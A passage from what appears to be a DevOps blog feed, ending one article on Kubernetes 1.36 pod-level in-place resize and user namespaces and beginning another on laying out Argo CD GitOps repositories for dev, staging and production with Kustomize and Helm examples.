        <span class="hljs-attr">requests:</span>
          <span class="hljs-attr">cpu:</span> <span class="hljs-string">250m</span>
          <span class="hljs-attr">memory:</span> <span class="hljs-string">256Mi</span>
        <span class="hljs-attr">limits:</span>
          <span class="hljs-attr">cpu:</span> <span class="hljs-string">500m</span>
          <span class="hljs-attr">memory:</span> <span class="hljs-string">256Mi</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">sidecar</span>
      <span class="hljs-attr">image:</span> <span class="hljs-string">ghcr.io/example/sidecar:1.0</span>
      <span class="hljs-attr">resources:</span> {}
  <span class="hljs-attr">resources:</span>                 <span class="hljs-comment"># pod-level aggregate cap</span>
    <span class="hljs-attr">requests:</span>
      <span class="hljs-attr">cpu:</span> <span class="hljs-string">&quot;1&quot;</span>
      <span class="hljs-attr">memory:</span> <span class="hljs-string">512Mi</span>
    <span class="hljs-attr">limits:</span>
      <span class="hljs-attr">cpu:</span> <span class="hljs-string">&quot;1&quot;</span>
      <span class="hljs-attr">memory:</span> <span class="hljs-string">512Mi</span>
</code></pre><h3 id="h3-resizing-without-a-restart" class="group relative scroll-mt-24">
        <a href="#h3-resizing-without-a-restart" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Resizing without a restart
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-resizing-without-a-restart"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash">kubectl patch pod pod-resize-demo \
  --subresource resize \
  --patch <span class="hljs-string">&#x27;{&quot;spec&quot;:{&quot;resources&quot;:{&quot;limits&quot;:{&quot;cpu&quot;:&quot;2&quot;,&quot;memory&quot;:&quot;1Gi&quot;},&quot;requests&quot;:{&quot;cpu&quot;:&quot;2&quot;,&quot;memory&quot;:&quot;1Gi&quot;}}}}&#x27;</span>
</code></pre><p>Watch what happens:</p>
<pre><code class="hljs language-bash">kubectl get pod pod-resize-demo -o yaml | yq <span class="hljs-string">&#x27;.status.resize&#x27;</span>
</code></pre><p><code>status.resize</code> cycles through <code>Proposed</code> → <code>InProgress</code> → empty (success). The container <code>restartCount</code> does <strong>not</strong> increment. <code>kubectl describe pod</code> will print a <code>Resized</code> event with the old and new values.</p>
<h3 id="h3-when-the-resize-is-rejected" class="group relative scroll-mt-24">
        <a href="#h3-when-the-resize-is-rejected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When the resize is rejected
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-the-resize-is-rejected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The kubelet refuses the resize and surfaces an event when:</p>
<ul>
<li>The new request can&#39;t fit on the node (same admission rules as initial scheduling).</li>
<li>The container runtime doesn&#39;t implement <code>UpdateContainerResources</code> for the requested change. <code>containerd ≤ 1.7</code> and older CRI-O versions hit this.</li>
<li>You try to lower memory below currently-used memory. The kubelet errs on the side of safety here: a memory shrink that would force OOM-kill the container is rejected.</li>
</ul>
<h3 id="h3-why-this-changes-vpa-in-production" class="group relative scroll-mt-24">
        <a href="#h3-why-this-changes-vpa-in-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why this changes VPA in production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-this-changes-vpa-in-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Vertical Pod Autoscaler implementations historically had to choose between &quot;recreate the pod and disrupt traffic&quot; (the auto mode) or &quot;just write the recommendation to a label and hope a future redeploy picks it up&quot; (the off mode). With pod-level in-place resize, VPA can apply recommendations every few minutes without touching pod identity. PDBs, leader election, in-flight requests, and cached state all stay intact.</p>
<p>The remaining caveat: the <strong>request</strong> part of the resize affects scheduling, not what the kubelet has already accepted. A pod resized up beyond the node&#39;s remaining capacity stays running with its new limits, but the API server records the discrepancy. Cluster autoscaler should be the one reacting to that signal, not the workload itself.</p>
<h2 id="h2-cluster-prerequisites-checklist" class="group relative scroll-mt-24">
        <a href="#h2-cluster-prerequisites-checklist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cluster prerequisites checklist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cluster-prerequisites-checklist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before flipping either feature on, confirm:</p>
<pre><code class="hljs language-text">[ ] Every node is on Kubernetes 1.36 (kubectl get nodes -o wide)
[ ] uname -r reports &gt;= 6.3 on every node intended for hostUsers: false
[ ] cat /sys/fs/cgroup/cgroup.controllers shows cpu and memory (cgroup v2)
[ ] containerd --version reports 2.0+ OR cri-o --version reports a recent build
[ ] /var/lib/kubelet/pods/ is on ext4/xfs/btrfs/tmpfs (filesystem supports idmap mounts)
[ ] kubectl version --client shows &gt;= v1.32.0 (resize subresource)
</code></pre><p>A common gotcha: if you upgrade your control plane to 1.36 before the nodes, pods with <code>hostUsers: false</code> will be admitted by the API server but stuck in <code>ContainerCreating</code> because the older kubelet doesn&#39;t know what to do with the field. Roll the kubelet binary on the nodes first.</p>
<h2 id="h2-what-about-the-rest-of-136" class="group relative scroll-mt-24">
        <a href="#h2-what-about-the-rest-of-136" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What about the rest of 1.36?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-about-the-rest-of-136"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few items worth at least knowing exist:</p>
<ul>
<li><strong><code>PodLifecycleSleepAction</code> to GA.</strong> A <code>preStop</code> hook can now declare a structured sleep instead of <code>[&quot;sh&quot;, &quot;-c&quot;, &quot;sleep 5&quot;]</code>, which means the kubelet doesn&#39;t have to fork a shell to terminate a pod gracefully.</li>
<li><strong>Recursive Read-Only Mounts to GA.</strong> <code>readOnly: true</code> finally applies recursively to bind-mounted subtrees on Linux 5.12+.</li>
<li><strong><code>FineGrainedSupplementalGroups</code> policy graduates.</strong> Pods can declare exactly how the container&#39;s supplementary groups are derived, which closes a small but irritating discrepancy between Kubernetes and Docker behavior.</li>
<li><strong>CRI image volumes (alpha, opt-in).</strong> Mount the contents of an OCI image as a volume without running a container for it. Mostly useful for sidecar-style data delivery (model weights, ML datasets, mass config blobs).</li>
</ul>
<p>None of these change your day in the way that user namespaces and pod resize do, but the recursive read-only mounts in particular fix a real footgun if you&#39;ve ever had a sub-mount remain writable inside an otherwise read-only mount.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The headline of 1.36 isn&#39;t a new abstraction; it&#39;s two long-running features that finally feel safe to put under load:</p>
<ul>
<li><strong>User namespaces (GA)</strong> flips the security baseline for stateless workloads. Add <code>hostUsers: false</code> to pods that don&#39;t need host network/PID/IPC, and a chunk of the container-escape attack surface goes away.</li>
<li><strong>Pod-level in-place resize (beta on by default)</strong> turns vertical autoscaling into a non-disruptive operation. The kubelet patches the cgroup, the application doesn&#39;t restart, and PDBs stay green.</li>
</ul>
<p>Both depend on infrastructure you should already have (cgroup v2, kernel 6.3+, containerd 2.0+), but it&#39;s worth running through the prerequisites checklist before you flip the field on a production deployment. The feature gates are gone, but the kernel and runtime requirements aren&#39;t.</p>
<p>Worth bookmarking the official posts: the <a href="https://kubernetes.io/blog/2026/04/23/kubernetes-v1-36-userns-ga/">user namespaces GA announcement</a>, the <a href="https://kubernetes.io/blog/2026/04/30/kubernetes-v1-36-inplace-pod-level-resources-beta/">pod-level resize beta</a>, and the <a href="https://kubernetes.io/blog/2026/04/22/kubernetes-v1-36-release/">v1.36 release notes</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[GitOps with Argo CD: Structuring Your Repository for Multi-Environment Deployments]]></title>
      <link>https://devops.anhp.site/posts/gitops-argocd-repository-structure-multi-environment</link>
      <description><![CDATA[A practical guide to laying out your Git repository for Argo CD across dev, staging, and production. See real folder structures, Kustomize and Helm patterns, and the pitfalls that bite teams in production.]]></description>
      <pubDate>Mon, 27 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/gitops-argocd-repository-structure-multi-environment</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[gitops]]></category><category><![CDATA[argocd]]></category><category><![CDATA[deployments]]></category><category><![CDATA[repository-structure]]></category><category><![CDATA[kubernetes]]></category><category><![CDATA[kustomize]]></category><category><![CDATA[helm]]></category>
      <content:encoded><![CDATA[<p>You promoted a small Helm value change from staging to production. The diff looked harmless. Two minutes later, prod started serving 502s because the same chart version was used everywhere and a default replica count from a shared file leaked into the production overlay. Rolling back took longer than it should have because dev, staging, and prod all sat in the same folder under the same <code>values.yaml</code>.</p>
<p>If that sounds familiar, the problem is rarely Argo CD itself. It is how the repository is laid out.</p>
<p>This post walks through the repository patterns that actually hold up in production: where to put environment overlays, how to handle promotion between dev, staging, and prod, when to split the app code from the config, and what the Argo CD <code>Application</code> resources should look like for each pattern. Code is copy-pasteable.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Use two repos: one for application source code, one for Kubernetes manifests. In the manifests repo, give each environment its own folder and its own Argo CD <code>Application</code>. Pin every environment to a different Git path or branch so a change in dev cannot accidentally hit prod. Use Kustomize overlays or Helm value files per environment, not conditionals based on namespace or labels. Promote by opening a pull request that bumps an image tag in the next environment&#39;s folder, never by editing a shared file.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A Kubernetes cluster (kind, k3s, or any managed offering works)</li>
<li>Argo CD installed (<code>kubectl create namespace argocd &amp;&amp; kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml</code>)</li>
<li><code>kubectl</code>, <code>argocd</code> CLI, and either <code>kustomize</code> or <code>helm</code> installed locally</li>
<li>A Git provider (GitHub, GitLab, Gitea) where Argo CD can read your config repo</li>
</ul>
<h2 id="h2-why-repository-layout-decides-your-blast-radius" class="group relative scroll-mt-24">
        <a href="#h2-why-repository-layout-decides-your-blast-radius" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why repository layout decides your blast radius
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-repository-layout-decides-your-blast-radius"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Argo CD reconciles whatever Git tells it to reconcile. If two environments read from the same path, they share the same fate. Your repo layout is the actual blast radius boundary, not the namespace or the cluster.</p>
<p>Three rules to keep in mind:</p>
<ol>
<li>Every environment maps to its own path or branch.</li>
<li>Promotion between environments is a Git operation (commit or merge), nothing else.</li>
<li>Shared bases are fine. Shared overrides are not.</li>
</ol>
<p>Break any of these and you end up debugging Argo CD when the real bug is a YAML file that someone edited at the wrong level.</p>
<h2 id="h2-pattern-1-one-repo-per-app-vs-the-monorepo" class="group relative scroll-mt-24">
        <a href="#h2-pattern-1-one-repo-per-app-vs-the-monorepo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pattern 1: One repo per app vs the monorepo
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pattern-1-one-repo-per-app-vs-the-monorepo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You have two choices for how many repos to use.</p>
<p><strong>App + config split (recommended):</strong></p>
<pre><code class="hljs language-text">my-app/                  # source code repo
  src/
  Dockerfile
  .github/workflows/

my-app-config/           # GitOps repo, watched by Argo CD
  base/
  envs/
    dev/
    staging/
    prod/
</code></pre><p>CI builds the image from <code>my-app</code>, pushes to a registry, then opens a PR in <code>my-app-config</code> that bumps the image tag. Argo CD picks up the change.</p>
<p><strong>Why split:</strong> developers can iterate on application code without triggering deploys. Argo CD does not need read access to your source code. You can grant tight permissions on the config repo (only release engineers can merge to <code>prod</code> paths).</p>
<p><strong>Single monorepo:</strong> keep <code>src/</code> and <code>k8s/</code> in the same repo. Simpler for tiny teams. The downside is every code commit triggers a manifest reconciliation check, and PR reviews mix code changes with deploy changes. Pick the split as soon as you have more than one or two services.</p>
<h2 id="h2-pattern-2-folder-per-environment-with-kustomize" class="group relative scroll-mt-24">
        <a href="#h2-pattern-2-folder-per-environment-with-kustomize" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pattern 2: Folder-per-environment with Kustomize
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pattern-2-folder-per-environment-with-kustomize"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the workhorse pattern. It is what most teams land on after a year or two of running Argo CD.</p>
<pre><code class="hljs language-text">my-app-config/
  base/
    deployment.yaml
    service.yaml
    kustomization.yaml
  envs/
    dev/
      kustomization.yaml
      patch-replicas.yaml
      values.env
    staging/
      kustomization.yaml
      patch-replicas.yaml
      values.env
    prod/
      kustomization.yaml
      patch-replicas.yaml
      patch-resources.yaml
      values.env
</code></pre><p>The <code>base/kustomization.yaml</code>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">kustomize.config.k8s.io/v1beta1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Kustomization</span>

<span class="hljs-attr">resources:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">deployment.yaml</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">service.yaml</span>

<span class="hljs-attr">commonLabels:</span>
  <span class="hljs-attr">app:</span> <span class="hljs-string">my-app</span>
</code></pre><p>A production overlay at <code>envs/prod/kustomization.yaml</code>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">kustomize.config.k8s.io/v1beta1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Kustomization</span>

<span class="hljs-attr">namespace:</span> <span class="hljs-string">my-app-prod</span>

<span class="hljs-attr">resources:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">../../base</span>

<span class="hljs-attr">images:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">ghcr.io/acme/my-app</span>
    <span class="hljs-attr">newTag:</span> <span class="hljs-string">v1.42.0</span>

<span class="hljs-attr">patches:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span> <span class="hljs-string">patch-replicas.yaml</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span> <span class="hljs-string">patch-resources.yaml</span>
</code></pre><p>The replicas patch:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">my-app</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">6</span>
</code></pre><p>Render it locally before you commit anything. This is the single most useful habit when working with Kustomize:</p>
<pre><code class="hljs language-bash">kubectl kustomize envs/prod
</code></pre><p>Expected output (truncated):</p>
<pre><code class="hljs language-text">apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: my-app
  name: my-app
  namespace: my-app-prod
spec:
  replicas: 6
  template:
    spec:
      containers:
        - image: ghcr.io/acme/my-app:v1.42.0
          name: my-app
          resources:
            limits:
              cpu: &quot;2&quot;
              memory: 2Gi
</code></pre><p>If something looks wrong here, it is wrong. Argo CD will render the same output.</p>
<p>The matching Argo CD <code>Application</code> for prod:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">argoproj.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Application</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">my-app-prod</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">argocd</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">project:</span> <span class="hljs-string">default</span>
  <span class="hljs-attr">source:</span>
    <span class="hljs-attr">repoURL:</span> <span class="hljs-string">https://github.com/acme/my-app-config.git</span>
    <span class="hljs-attr">targetRevision:</span> <span class="hljs-string">main</span>
    <span class="hljs-attr">path:</span> <span class="hljs-string">envs/prod</span>
  <span class="hljs-attr">destination:</span>
    <span class="hljs-attr">server:</span> <span class="hljs-string">https://kubernetes.default.svc</span>
    <span class="hljs-attr">namespace:</span> <span class="hljs-string">my-app-prod</span>
  <span class="hljs-attr">syncPolicy:</span>
    <span class="hljs-attr">automated:</span>
      <span class="hljs-attr">prune:</span> <span class="hljs-literal">true</span>
      <span class="hljs-attr">selfHeal:</span> <span class="hljs-literal">true</span>
    <span class="hljs-attr">syncOptions:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">CreateNamespace=true</span>
</code></pre><p>Notice the <code>path: envs/prod</code>. Dev and staging get their own <code>Application</code> resources pointing at <code>envs/dev</code> and <code>envs/staging</code>. There is no shared file that can break two environments at once.</p>
<h2 id="h2-pattern-3-helm-with-one-values-file-per-environment" class="group relative scroll-mt-24">
        <a href="#h2-pattern-3-helm-with-one-values-file-per-environment" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pattern 3: Helm with one values file per environment
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pattern-3-helm-with-one-values-file-per-environment"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you already publish a Helm chart, use it. Do not rewrite it as Kustomize for the sake of it.</p>
<pre><code class="hljs language-text">my-app-config/
  chart/
    Chart.yaml
    templates/
    values.yaml
  envs/
    dev/values.yaml
    staging/values.yaml
    prod/values.yaml
</code></pre><p>The Argo CD <code>Application</code> for staging:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">argoproj.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Application</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">my-app-staging</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">argocd</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">project:</span> <span class="hljs-string">default</span>
  <span class="hljs-attr">source:</span>
    <span class="hljs-attr">repoURL:</span> <span class="hljs-string">https://github.com/acme/my-app-config.git</span>
    <span class="hljs-attr">targetRevision:</span> <span class="hljs-string">main</span>
    <span class="hljs-attr">path:</span> <span class="hljs-string">chart</span>
    <span class="hljs-attr">helm:</span>
      <span class="hljs-attr">valueFiles:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">../envs/staging/values.yaml</span>
  <span class="hljs-attr">destination:</span>
    <span class="hljs-attr">server:</span> <span class="hljs-string">https://kubernetes.default.svc</span>
    <span class="hljs-attr">namespace:</span> <span class="hljs-string">my-app-staging</span>
  <span class="hljs-attr">syncPolicy:</span>
    <span class="hljs-attr">automated:</span>
      <span class="hljs-attr">prune:</span> <span class="hljs-literal">true</span>
      <span class="hljs-attr">selfHeal:</span> <span class="hljs-literal">true</span>
</code></pre><p>A real <code>envs/prod/values.yaml</code>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">image:</span>
  <span class="hljs-attr">repository:</span> <span class="hljs-string">ghcr.io/acme/my-app</span>
  <span class="hljs-attr">tag:</span> <span class="hljs-string">v1.42.0</span>

<span class="hljs-attr">replicaCount:</span> <span class="hljs-number">6</span>

<span class="hljs-attr">resources:</span>
  <span class="hljs-attr">requests:</span>
    <span class="hljs-attr">cpu:</span> <span class="hljs-string">500m</span>
    <span class="hljs-attr">memory:</span> <span class="hljs-string">512Mi</span>
  <span class="hljs-attr">limits:</span>
    <span class="hljs-attr">cpu:</span> <span class="hljs-string">&quot;2&quot;</span>
    <span class="hljs-attr">memory:</span> <span class="hljs-string">2Gi</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-attr">enabled:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">hosts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">host:</span> <span class="hljs-string">my-app.example.com</span>

<span class="hljs-attr">autoscaling:</span>
  <span class="hljs-attr">enabled:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">minReplicas:</span> <span class="hljs-number">6</span>
  <span class="hljs-attr">maxReplicas:</span> <span class="hljs-number">20</span>
</code></pre><p>Render locally before you push:</p>
<pre><code class="hljs language-bash">helm template my-app ./chart -f envs/prod/values.yaml
</code></pre><p>If this fails or outputs the wrong thing, do not commit. Argo CD will fail the same way, but in front of your team.</p>
<h2 id="h2-pattern-4-app-of-apps-for-fleet-wide-changes" class="group relative scroll-mt-24">
        <a href="#h2-pattern-4-app-of-apps-for-fleet-wide-changes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Pattern 4: App of Apps for fleet-wide changes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-pattern-4-app-of-apps-for-fleet-wide-changes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
